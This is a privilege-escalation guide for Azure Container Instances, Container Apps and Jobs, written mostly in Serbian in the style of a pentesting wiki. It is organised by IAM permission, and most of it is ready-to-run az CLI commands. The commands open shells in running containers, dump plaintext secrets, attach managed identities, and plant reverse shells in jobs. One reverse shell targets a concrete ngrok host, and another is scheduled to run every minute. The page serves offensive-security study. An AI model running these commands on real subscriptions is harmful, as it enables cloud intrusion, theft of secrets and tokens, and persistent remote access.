# Az - Azure Container Instances, Apps & Jobs Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Container Instances, Apps & Jobs

Za više informacija pogledajte:

{{#ref}}
../az-services/az-container-instances-apps-jobs.md
{{#endref}}

## ACI

### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`

Ove dozvole omogućavaju korisniku da **izvrši komandu** u pokrenutom kontejneru. Ovo se može koristiti za **eskalaciju privilegija** u kontejneru ako ima neku upravljanu identitet. Naravno, takođe je moguće pristupiti izvoru koda i bilo kojim drugim osetljivim informacijama pohranjenim unutar kontejnera.

Da biste dobili shell, dovoljno je:
```bash
az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'
```
Takođe je moguće **pročitati izlaz** kontejnera sa:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Ili dobijte logove sa:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Ove dozvole omogućavaju **priključivanje korisnički upravljane identitete** na grupu kontejnera. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.

Da biste priključili korisnički upravljanu identitetu na grupu kontejnera:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Ove dozvole omogućavaju **kreiranje ili ažuriranje grupe kontejnera** sa **korisnički upravljanom identitetom** prikačenim na nju. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.
```bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
Moreover, it's also possible to update an existing container group adding for example the **`--command-line` argument** with a reverse shell.

## ACA

### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`

Ove dozvole omogućavaju korisniku da **dobije shell** u pokrenutom aplikacionom kontejneru. Ovo se može koristiti za **escalaciju privilegija** u kontejneru ako ima neku upravljanu identitet prikačenu. Ofc, takođe je moguće pristupiti izvoru koda i bilo kojim drugim osetljivim informacijama pohranjenim unutar kontejnera.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

```
### `Microsoft.App/containerApps/listSecrets/action`

Ova dozvola omogućava dobijanje **čistog teksta tajni** konfiguranih unutar aplikacije kontejnera. Imajte na umu da se tajne mogu konfigurisati sa čistim tekstom ili sa linkom ka ključnom trezoru (u tom slučaju, aplikaciji će biti dodeljen upravljani identitet sa pristupom nad tajnama).
```bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Ove dozvole omogućavaju **priključivanje identiteta koji upravlja korisnik** na aplikaciju kontejnera. Ovo je veoma korisno za eskalaciju privilegija u kontejneru. Izvršavanje ove akcije iz az cli takođe zahteva dozvolu `Microsoft.App/containerApps/listSecrets/action`.

Da biste priključili identitet koji upravlja korisnik na grupu kontejnera:
```bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`

Ove dozvole omogućavaju **kreiranje ili ažuriranje aplikacionog kontejnera** sa **korisnički upravljanom identitetom** prikačenom na njega. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.
```bash
# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
```
> [!TIP]
> Imajte na umu da se sa ovim dozvolama **mogu modifikovati druge konfiguracije aplikacije** što može omogućiti izvođenje drugih privesc i post-exploitation napada u zavisnosti od konfiguracije postojećih aplikacija.

## Jobs

### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`

Iako poslovi nisu dugotrajni kao aplikacije u kontejnerima, možete iskoristiti mogućnost prepisivanja konfiguracije komande posla prilikom pokretanja izvršenja. Kreiranjem prilagođenog šablona posla (na primer, zamenom podrazumevane komande sa reverznim shell-om), možete dobiti pristup shell-u unutar kontejnera koji pokreće posao.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`

Ako imate ove dozvole, možete da navedete sve tajne (prva dozvola) unutar Job kontejnera i zatim pročitate vrednosti konfigurisanih tajni.
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`

Ako imate dozvolu da modifikujete konfiguraciju posla, možete prikačiti identitet koji je dodeljen korisniku. Ovaj identitet može imati dodatne privilegije (na primer, pristup drugim resursima ili tajnama) koje se mogu zloupotrebiti za eskalaciju privilegija unutar kontejnera.
```bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Ako možete da kreirate novi Container Apps Job (ili ažurirate postojeći) i povežete upravljeni identitet, možete dizajnirati posao da izvrši payload koji eskalira privilegije. Na primer, mogli biste da kreirate novi posao koji ne samo da pokreće reverznu ljusku, već takođe koristi kredencijale upravljanog identiteta da zatraži tokene ili pristup drugim resursima.
```bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
```
> [!TIP]
> Ova komanda će izazvati grešku ako nemate dozvolu `Microsoft.App/jobs/read`, iako će posao biti kreiran.

### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`

Izgleda da bi sa ovim dozvolama trebalo biti moguće pokrenuti posao. Ovo se može koristiti za pokretanje posla sa reverznim shell-om ili bilo kojom drugom zlonamernom komandom bez potrebe za modifikovanjem konfiguracije posla.

Nisam uspeo da to funkcioniše, ali prema dozvoljenim parametrima, to bi trebalo biti moguće.

### Microsoft.ContainerInstance/containerGroups/restart/action

Omogućava ponovno pokretanje specifične grupe kontejnera unutar Azure Container Instances.
```bash
az container restart --resource-group <resource-group> --name <container-instances>
```
{{#include ../../../banners/hacktricks-training.md}}
